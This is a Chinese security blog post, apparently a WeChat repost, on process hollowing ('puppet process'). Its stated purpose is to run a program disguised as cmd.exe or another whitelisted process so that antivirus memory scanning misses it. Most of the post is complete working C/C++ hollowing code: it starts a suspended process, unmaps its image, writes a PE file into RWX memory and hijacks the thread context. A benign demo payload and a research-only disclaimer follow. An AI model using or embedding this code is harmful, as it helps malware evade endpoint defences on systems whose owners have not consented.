进程的执行很容易被发现,在不利用驱动或者漏洞的情况下,在3环通过傀儡进程的方式实现进程隐藏,这种技术虽然很久之前就有了,但是和其他的免杀技术相结合也会达到很不错的效果,这种技术的好处是可以将我们想执行的程序伪装成系统进程或者有签名的白名单程序,在运行的时候绕过杀软的内存检测。
1.以挂起的模式启动一个进程(可以用系统程序或者白名单程序如cmd.exe,notepad.exe)
2.将真正要执行的代码读入
3.获取挂起进程的信息
4.将挂起进程的内存掏空
5.将要执行的代码写入掏空的进程
6.恢复执行
const char* g_TargetFile = "D:\Cpp\傀儡进程\Release\demo.exe";
typedef NTSTATUS(WINAPI* FnNtUnmapViewOfSection)(HANDLE, PVOID);
int main()
{
STARTUPINFOA si = { 0 };
si.cb = sizeof(STARTUPINFOA);
PROCESS_INFORMATION pi;
//以挂起的模式启动一个进程
BOOL bRet = CreateProcessA(NULL, (LPSTR)"cmd", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
//打开文件
HANDLE hFile = CreateFile(g_TargetFile, GENERIC_READ, NULL, NULL, OPEN_EXISTING, 0, NULL);
//获取文件大小
DWORD dwFileSize = GetFileSize(hFile, NULL);
//申请一块内存空间
PVOID lpBuffer = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
//将内存读取到申请的内存空间
DWORD dwReadLength = 0;
ReadFile(hFile, lpBuffer, dwFileSize, &dwReadLength, NULL);
//关闭文件
CloseHandle(hFile);
//解析PE文件
//关于解析PE文件 https://bbs.kanxue.com/thread-270585.htm
//获取Dos头
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)lpBuffer;
//获取Nt头
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + (DWORD)lpBuffer);
//获取线程上下文
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_ALL;
GetThreadContext(pi.hThread, &ctx);
//获取模块基地址
PVOID lpImageBase;
ReadProcessMemory(pi.hProcess, (LPCVOID)(ctx.Ebx + 8), &lpImageBase, sizeof(PVOID), NULL);
if ((DWORD)lpImageBase == pNt->OptionalHeader.ImageBase)
{
FnNtUnmapViewOfSection NtUnmapViewOfSection = (FnNtUnmapViewOfSection)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtUnmapViewOfSection");
NtUnmapViewOfSection(pi.hProcess, lpImageBase);
}
//申请内存设置属性为rwx
PVOID lpTargetMemory = VirtualAllocEx(pi.hProcess, (PVOID)pNt->OptionalHeader.ImageBase, pNt->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, lpTargetMemory, lpBuffer, pNt->OptionalHeader.SizeOfHeaders, NULL);
PIMAGE_SECTION_HEADER pSection;
for (int i = 0; i < pNt->FileHeader.NumberOfSections; i++)
{
pSection = (PIMAGE_SECTION_HEADER)((LPBYTE)lpBuffer + pDos->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (sizeof(IMAGE_SECTION_HEADER) * i));
WriteProcessMemory(pi.hProcess, ((LPBYTE)lpTargetMemory + pSection->VirtualAddress), ((LPBYTE)lpBuffer + pSection->PointerToRawData), pSection->SizeOfRawData, NULL);
}
ctx.Eax = (DWORD)((LPBYTE)lpTargetMemory + pNt->OptionalHeader.AddressOfEntryPoint);
//替换PE头
WriteProcessMemory(pi.hProcess, (LPVOID)(ctx.Ebx + sizeof(DWORD) * 2), &pNt->OptionalHeader.ImageBase, sizeof(LPVOID), NULL);
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
}
Demo测试程序:
using namespace std;
int main() {
DWORD pid = GetCurrentProcessId();
std::cout << "Current process PID: " << pid << std::endl;
MessageBox(NULL, L"This is a Demo!", L"Msg", MB_OK);
return 0;
}
测试:
直接运行Demo程序,毋庸置疑会有进程:
用cmd.exe 将Demo.exe 拉起:
实现了隐藏。
原文始发于微信公众号(Max安全研究院):傀儡进程的那些事
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论